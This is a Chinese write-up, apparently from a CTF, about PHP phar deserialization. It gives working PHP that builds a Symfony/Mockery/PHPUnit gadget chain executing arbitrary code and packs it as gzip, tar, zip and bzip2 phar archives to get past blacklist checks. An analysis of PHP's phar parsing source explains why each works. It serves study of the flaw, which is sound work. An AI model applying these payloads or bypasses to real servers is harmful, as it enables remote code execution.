前言
L3H的师傅们太强了。
1、gzip
<?php
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
private $parent;
private $route;
public function __construct($class){
$this->parent=$class;
$this->route='test';
}
}
}
namespace Mockery{
class HigherOrderMessage{
private $mock;
private $method;
public function __construct($class){
$this->mock=$class;
$this->method='generate';
}
}
}
namespace PHPUnit\Framework\MockObject{
final class MockTrait{
private $mockName;
private $classCode;
public function __construct(){
$this->mockName='123';
$this->classCode='phpinfo();';
}
}
}
namespace{
use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
use \Mockery\HigherOrderMessage;
use \PHPUnit\Framework\MockObject\MockTrait;
$c=new MockTrait();
$b=new HigherOrderMessage($c);
$a=new ImportConfigurator($b);
# file_put_contents('.phar/.metadata',serialize($a));
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}
?>
生成完phar再执行gzip phar.phar
效果如下。可以过黑名单检测
2、tar
<?php
省略....
namespace{
use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
use \Mockery\HigherOrderMessage;
use \PHPUnit\Framework\MockObject\MockTrait;
$c=new MockTrait();
$b=new HigherOrderMessage($c);
$a=new ImportConfigurator($b);
file_put_contents('.phar/.metadata',serialize($a));
//为什么这里要写到.phar/.metadata呢。
//分析看最后
}
?>
tar -cf test.tar .phar/
3、zip
$a=serialize(new a());
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
$zip->addFromString('test.txt', 'file content goes here');
$zip->setArchiveComment($a);
$zip->close();
不过zip的注释里不能有00.高版本可以用大写S,16进制替换%00。注意命名空间类的\和16进制的\冲突。
解决:\替换\5c
别把不是S里的\也替换了哦。
4、bz2
<?php
省略....
namespace{
use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
use \Mockery\HigherOrderMessage;
use \PHPUnit\Framework\MockObject\MockTrait;
$c=new MockTrait();
$b=new HigherOrderMessage($c);
$a=new ImportConfigurator($b);
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}
?>
bzip2 phar.phar
源码分析
实验环境:file_get_contents('phar://phar.phar.gz')
首先看下调用栈
file_get_contents一直到phar_wrapper_open_url。这段一直是file_get_contents解析phar伪协议的。phar_wrapper_open_url往上。才是真正解析phar文件的代码
这里我们从phar_parse_url开始跟
path就是我们的文件名。跟进
发现87行的resource->host = arch;
arch从哪来
只找到一个调用点(74行的phar_split_fname)
继续跟进。发现在phar_split_fname中。进行了赋值。
根据之前的调用栈。继续跟进phar_open_from_filename。第一个参数是文件名
跟进发现两个和phar有关的函数
第一个红框内。可以大致看懂。如果不是.phar结尾。那么is_data为True。带入phar_open_parsed_phar函数(这个函数和我们的绕过没啥关系。只是分析源码时多看看)
这部分代码大致意思就是。如果是phar就检测.phar/stub.php文件。判断phar文件格式是否正确
跟进phar_open_from_fp。这个才是绕过关键字检测的关键
一下就看到了
const char token[] = "__HALT_COMPILER();";
const char zip_magic[] = "PK\x03\x04";
const char gz_magic[] = "\x1f\x8b\x08";
const char bz_magic[] = "BZh";
说明这四种文件之后都会有操作。最后被phar解析。我们先看gz
这里我们要关注几个变量fp(流)、fname(文件名)、filter(过滤器)、temp(临时文件名)
1616行。pos是我们的文件头。gz_magic是gzip的文件头。这里比较。相同就会认为这是个gzip文件。看到1634行。这里创建了个临时文件赋值给temp。
到了1639行。创建zlib过滤器赋值给filter
然后调用了php_stream_filter_append(&temp->writefilters, filter);
对我们压缩过的gzip phar进行解码
1657行。将临时文件中解压的文件内容又给了fp。最后把temp赋值给fp。
此时。我们的fp指向的是解压好的文件内容。
根据函数名。。这就是把我们的文件传入。然后当作phar解析了啊。之后就是一堆获取metadata。然后var_unserialize(metadata)的过程。
这就是完整的解析phar过滤。至于绕过。我们再看看那几个判断文件头的
欸。在源码中。一共就这5种可以触发phar的操作
普通phar
gzip
bzip2
tar
zip
整个分析。很长。但是动手去看去分析。还是比较容易懂的
最后
我们谈谈为啥tar要写序列化后的字符串到./phar的xxx文件。
还有为啥zip要将序列化后的字符串写到注释里呢
先说tar
这个zend_hash_str_update_mem。根据名字看。貌似是个根据内存更新字符串的函数
把 entry.filename更新后返回给了newentry。
接着。memcmp(entry.filename, ".phar/.metadata", sizeof(".phar/.metadata")-1
判断文件名是否以.phar/.metadata开头。注意。这里memcmp是比较文件前sizeof((".phar/.metadata")-1)个字符是否相等。
所以。写字符串到.phar/.metadata任意字符。都是可以被反序列化的
然后就是调用phar_tar_process_metadata去phar_parse_metadata(&metadata)开始反序列化了
再说zip
不多说了。注释里有。如果有注释内容。就读然后传入parse
结尾
第一次分析PHP底层。不会C就en看。有错欢迎指正